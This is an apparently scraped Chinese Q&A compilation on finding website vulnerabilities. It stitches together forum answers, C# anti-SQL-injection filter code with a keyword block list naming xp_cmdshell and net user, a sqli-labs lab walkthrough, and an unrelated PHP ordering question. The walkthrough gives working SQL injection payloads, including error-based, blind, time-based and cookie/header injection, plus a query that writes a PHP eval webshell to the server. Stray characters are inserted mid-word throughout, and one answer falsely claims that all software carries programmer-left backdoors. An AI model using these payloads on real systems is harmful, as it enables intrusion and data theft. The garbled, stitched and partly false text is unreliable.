Ⅰ 如何发现网站漏洞
问题一:黑客怎么寻找网站漏洞,麻烦说一下! 拿站这技术活得靠点经验,我简单说下吧(我是菜鸟)。之前,很多网站一恭存在注入漏洞,就像一楼那样说的,很多菜菜都是用啊D,明小子等软件(本人绝无看不起软件作者之意,打心底佩服前辈们),但是现在随着国家发展强大,人民的生活水平提高,很多管理员动不动就装个防注系统(绕过防注这里我不说),以前操起工具就日下一大堆站的日子一去不复返了。有些管理员粗心,导致出现上传漏洞,虽然过滤很严,但是这样的漏洞一般比较致命,或者人家防火墙很厉害,马儿进一匹死一匹,这种漏洞一般是通过扫描出来的。也有一些管理员没有改密码,通过弱口令直接进去后台,还有一些后台页面直接爆出密码(很久了),还有就是爆库,数据库被爆出来~很多很多,说不完~望楼主采纳。
问题二:黑客是如何发现系统漏洞的,系统为什么会有漏洞? 不要为难微软,毕竟微软写WINDOWS的家伙们也都是人,虽然不是中国人。
只要是人做出来的东西,就没有完美的,所以有问题也不奇怪。
这就好像一个打字员打了一篇稿子,打字员本身发现错字的可能性很小,倒是别人一眼就可以看到打字员打错的字。
虽然不知道这是为什么,但真的是这样。(以前我打字的时候就发现不到自己的错字)
至于你的问题,微软当初在编写系统的时候为什么不知道有漏洞?
回答:很多所谓的漏洞都不算是漏洞,都是正常的数据值,所以不容易被发现。
举个例子,在检测一些ASP网站的时候,会用到1=1 OR 1=2 之类的语句,
这本身是ASP的一种正常的程序语句,但是到了黑客手中,就成了检测ASP网站的重要检查项目,
黑客会根据检测网站返回的数据值,而得到大量的信息。
有的黑客可以自己发现漏洞,他们是靠什么技术发现的?
回答:说实话,这个问题我个人觉得问题很好。
黑客一词,在以前的时候,是用来形容懂得计算机编程,拥供很好的计算机技术并且热心于钻研计算机技术的人
对于这种人,发现一些漏洞也是很正常的,就好像WIN2000的输入法漏洞,就是中国人发现的。
其实只要你用某种系统习惯了,也会发现很多漏洞。比如XP,现在盗版的XP漏洞很多,只要你细心点,
你就会发让野现很多的XP漏洞。
问题三:如何看一个网站有没有漏洞、有什么漏洞? 没有一定足够的程序能力没有一定的网络安全经验你是无法胆接判断的,
对于这些初级菜鸟,只能借助检测工具来初略判断。
问题四:黑客是怎么样去攻击网站的,漏洞是怎坦裤喊么发现的? 网上所谓黑客入侵某某网站,都是根据目前公开的漏洞或者根据别人发掘的漏洞进行入侵的,入侵了后台就把木马后门上传服务器内,实现控制目的,黑客攻击网站主要是发送大量数据包,让网站不能正常访问等,本人收徒,学会再收费!
问题五:如何扫描网站的漏洞? 需要确定他使用的服务器版本,还需要了解他的安全措施。他开了定0端口,至少可以D。O。S。PS:小心触犯法律!
问题六:怎样才纯孙能找到网站漏洞 怎么说那 是没有检测出来漏洞 才导致的
网站作了很好的硬件防火墙
没办法拉
这可是不道德的 注意
问题七:入侵网站的漏洞是怎么生成的? 为什么会有漏洞呢、谢谢了,大神帮忙啊 你好。楼主,关于你的这个问题很高兴我来替你回答 所有网站和软件的一般刚刚开始的时候是没有多大问题的漏洞的,一般程序员在设定软件的时候都是把软件和网站分成模块来做的,分为模块1 或者模块ABCD 这样来的,每个软件和网站都有后门的,因为这样方便程序员测试网站,和所有的黑客一样,入侵网站都是先找后门,利用后门程序向你的服务器发送大量邮件,这就是垃圾信息邮件攻击法,让你的服务器被信息撑爆,卡死,甚至瘫痪,第2种就是特洛伊木马,向你的服务器发送邮件,并带上木马程序,只要你运行了邮件中的附带件,那么,木马就会潜入你的服务器程序,在你不知不觉中得到他想要的信息,第3种就是直接发送网络炸弹到你的 服务器使你的服务器瘫痪死机,这种方法 很不人道,所以一半人不会用这种!其实漏洞就是所谓的后门,所有软件和网站的后门都是程序员留着的。这样也并不是说他们有什么不良企图,而是方便他们日后对软件或者网站进行测试,修改,所以一般的程序员都会把这后门留着,后门如果被有不良企图的人知道了,那么就成了所谓的漏洞了。 如果楼主对我的回答还满意的话,可以用五星来采为满意答案
问题八:网站怎样样检查漏洞 您好,现在一般是使用站长工具,我现在用了网络站长工具,如果网站有问题,系统会提示的,而且可以使用漏洞检查软件或在线工具直接可以检测,还有就是如果是大型网站可以考虑做加密,加强网站的安全性能。工具您可以网络看看。
问题九:网络怎么学习找漏洞。 这是我在网上看到的,希望对楼住有所帮助一 如何寻找漏洞
这个是大家最关心的。大家寻找漏洞只能寻找能读到源代码码的,没有源代码但有注入漏洞的系统只能猜,具有特殊性。网上很多主机用的是成品,它的系统源代码可以从网上下到。至于如何判断主机用的是哪个系统,就需要大家有一定的积累了。这也没法用语言描述,我举个简单的例子。
以动网6为例,看到某个论坛界面酷似动网,9成是动网论坛,再看看下面的版本就知道是动网6了。这个时候就可以去Chinaz下个动网6来读一下,不会ASP的就没办法了。当然漏洞早就公布,我只是告诉大家如何判断主机用哪个WEB系统。
漏洞是如何被发现的呢?其实也没什么诀窍,主要是扎实的基础知识,要是连HTTP协议不懂,不会抓包,也别找漏洞了,找到也不会用,这样最好先补基础知识。有了基础知识,剩下的就是毅力和耐心。论能力,现在好多系统漏洞,张三找的到,李四也找的到。
主要是看谁先找,谁下的工夫深。有的漏洞读一遍源码是找不到的。
找漏洞的过程也是熟悉这个WEB系统的过程,首先要了解它的数据库结构,这是最基本的。接下来就得一个文件一个文件的读。先读不需要权限的。
有的页面开头就来个SESSION判断,就算下面有漏洞都没用。
找漏洞的过程其实就是一个文件一个文件读的过程。下面以一个页面为例。首先把握系统流程。所谓系统的流程就是系统到底如何执行。一般系统为 开头――中间――结尾 模式。开头一般是输出HTML中之间内容,对我们找漏洞没有影响。
一般文件开头都会包含很多头文件,大家看了感到头晕,其实头文件都没什么用。主要是数据库连接文件,全局配置文件,和函数库。我们大可不理会这些东西,再找漏洞时用到了回头再看也不迟。
但是函数库里面关于输入串过滤的函数要重点看一下。
结尾是输出系统版权信息,有的用到SQL查询,不过这里用处也不大,我们可以很粗略的看一下。
中间部分是我们重点关注的地方。其次重点关注输入变量。因为这些变量是我们控制的,没有外来输入变量也不用谈注入了。
大家要有这样一种概念,不管是GET,POST,还是COOKIE方法,只有是从用户提交的变量都可以由我们指定,我们想让它是多少就是多少。
至于系统取得变量后做了什么过滤是另外一回事。
在输入变量中要重点关注能参与SQL执行的变量,有的变量比如action或者page都是控制流程的,根本就没用,就算改了值也没什么意思。再者就要深刻了解数据库了,没有对数据库全面的把握,很可能错失很多注入点,这也是高手和菜鸟最大的差别所在。
我们常见的数据库有Access、Mysql和SQLServer,至少要对他们有很深的了解才能找出漏洞。二 分三个方面并举实例讲解注入点的寻找及利用
1 注入点很容易发现,利用也很简单
这种漏洞相信已经很少了,除非程序作者根本就不关心程序的安全才会有此漏洞。以前经典的 ' or '1=1就属于此类
典型的类似(模型,以下类同)
select * from tablename where user='request(user)',
select * from tablename where id=request(id)
有的程序对这些变量做了过滤,但不全,也可以归结为这一类。
相信这样的漏洞大家都能发现而且也很容易利用,更不用说防范了。这种漏洞容易找,也很少。我给大家截了几个有漏洞的......>>
问题十:如何发现网站的漏洞啊?我是好人 你这个问题问题有点没人敢答
这不是一个问题而是一万个为什么...
就像 我问你:如何做一桌子好吃的菜?
你说呢?
最真实的回答就是 你要去学,学什么呢?就像别说一桌子菜
就算一道菜.
你要从选料 ,配料,加工,到炒制,甚至大厨还要学色彩搭配以及雕刻艺术
再深入的甚至要学比如豆子的生长过程,营养成分,以及地区差异
才能选出自己想要的好豆子...
那如何发现网站漏洞??????
那你就得从程序入手,为什么会存在漏洞,存在漏洞的基础条件
asp,php,net,c++.....等等程序代码与服务器系统的关系
myssql,sql与系统的关系
等等 各种基础要素理解透彻之后
才可以有利于你发现漏洞
再然后才是根据这些缺点 弊端 去弥补漏洞 做到所谓的安全贡献
另外 你也说你是个好人,是一个互联网相关的好人
说明你对互联网有一定的了解
我认为你不是在指望这里一问一答的...就能学会一门多年磨练才能有手艺吧???
更何况是技术含量的
先祝你成功吧
您的采纳 是咱互助的动力源泉,理解万岁
Ⅱ php网站在检测时总是提示网站存在sql注入漏洞
1,用正则表达式过滤一些SQL注入关键字。
2,尽量使用参数形式,少用拼凑型SQL语句
3,条件可以的话,请使用存储过程操作数据库.
4,转换参数类型.如是参数是数字型,则转换成数字型的才操作
public class AntiSqlInAttack
{
public System.Web.HttpRequest request;
public AntiSqlInAttack(System.Web.HttpRequest request)
{
this.request = request;
}
public bool CheckBadQuery()
{
//整串字符对比方法
//string badword = ";|'|*|%| and |20%and20%| master |20%master20%|exec|insert|select|delete|count|chr|mid|truncate|char|declare|update";
//string query = request.ServerVariables["Query_String"].ToString();
//string[] badwordArry = badword.Split(new char[] { '|' });
//for (int i = 0; i < badwordArry.Length; i++)
//{
// string tempWord = badwordArry[i].Trim();
// if (query.IndexOf(tempWord) >= 1)
// return true;
//}
//return false;
if (request.QueryString.Count != 0)
{
for (int i = 0; i < request.QueryString.Count; i++)
{
if (CheckBadWord(request.QueryString[i].ToString()))
return true;
}
}
return false;
}
public bool CheckBadForm()
{
if (request.Form.Count > 0)
{
for (int i = 0; i < request.Form.Count; i++)
{
if (CheckBadWord(request.Form[i]))
return true;
}
}
return false;
}
public bool CheckBadWord(string str)
{
string pattern = @"select|insert|delete|from|count\(|drop table|update|truncate|asc\(|mid\(|char\(|xp_cmdshell|exec master|netlocalgroup administrators|:|net user|""|or|and";
if (Regex.IsMatch(str, pattern, RegexOptions.IgnoreCase) || Regex.IsMatch(str, @"[-|;|,|\/|\(|\)|\[|\]|\}|\{|%|@|\*|!|\']"))
return true;
return false;
}
/**//// <summary>
/// 反SQL注入
/// </summary>
public void AntiSqlInjectionAttack()
{
if (CheckBadQuery() || CheckBadForm())
{
string msg = string.Empty;
msg += "<span style='font-size:12px;'>非法操作!系统做了如下记录!<br>";
msg += "操作IP:" +Utils.GetRealIP()+ "<br>";
msg += "操作时间:" + DateTime.Now + "<br>";
msg += "页面:" + request.ServerVariables["URL"].ToLower() + "<br>";
msg += "<a href=\"#\" onclick=\"history.back()\">返回上一页</a></span>";
MessageBox.ResponseWrite(msg, true);
}
}
}
Ⅲ sqli-labs(lesson1-lesson22)
插入单引号报错
id被单引号包裹,确认字段数
字段为3,使用union select 1,2,3联合查询语句查看页面是否有显示位
有两个显示位,接下来开始爆库名
爆表
爆列
爆值
插入单引号
由报错判断为数字型注入,注入方法同上,把单引号去掉就好
插入单引号报错,输入?id=1')--+发现可以正常显示,判定为字符型注入
注入方法同上,在单引号后面加个括号即可
插入单引号没反应,换用双引号后报错,注入方法同上
看到这个报错有可能是布尔型盲注,时间盲注,报错注入
注入
考虑使用报错注入
and (select 1 from (select count( ),concat((payload),floor (rand(0) 2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
使用floor报错语句注入
输出信息超过一行,只能用limit 0,1一个个输出郑拍了
库名出来了,接下来方法就和之前一样了
同样的原理,把?id=1'的单引号换成双引号就行
输入?id=1
输入?id=1 and 1=2回显正常,不是数值型注入
尝试加入单引号发现报错,换成双引号也是一样,加上)依然报错
输入id=5')) --+
使用语句
写入成功
上传木马,使用cknife链接
?id=-1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "D:.php" --+
输入?id=2' --+回显正携庆常
字符型注入,方喊隐羡法同上
输入?id=1' and sleep(5) --+存在延迟,判断为延迟型注入
同上,单引号换双引号
登陆界面,使用万能密码
登陆成功,开爆
爆库:
爆表:
爆字段:
之后方法同上
页面无返回信息,只能进行盲注
猜长度
admin') or length(database())>要猜的长度 and sleep(5)#
猜库名:
admin') or left(version(),1)>'要猜的库名' and sleep(5)#
猜表名:
admin') or ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>要猜的表名ASCII and sleep(5)#
之后方法同上
之后方法同上
和上面一样,无返回信息,但是可以使用延时注入判断注入点
其余同上
做到自闭,查看源码
莫得用户名和密码注入了
查看源码
存在利用构造User Agent进行注入的可能,上brupsuit抓包改User Agent
得到mysql版本
同理,可得表名等信息
表名
Refer注入
查看源码
存在cookie注入
其他同理
和上题一样,属于cookie注入,先看源码
和上题基本一样,之不过给用户名(uname)进行了base64加密,对注入语句进行加密即可
报错注入
与上题基本一样,'改成”即可
Ⅳ php 订单购买如果同时开两个页面怎样才能不让两个页面购买不干扰存入到数据表
想不干扰的话只能是订单生成的时候就写入库里,并且url或咐核内置变量申明这个页面的订单uid。
理论上是可以实现的,不过问题在于垃圾订单的处理,以及这样做并不能改善页面体验效果。
频繁的查库有加深服务器繁忙的衡洞掘诱因,如果被恶意爆库那会影响正常用户。
如果用本地cookie的话不排颤拆除被篡改的可能。
每种方法都有优点和缺点看选择了。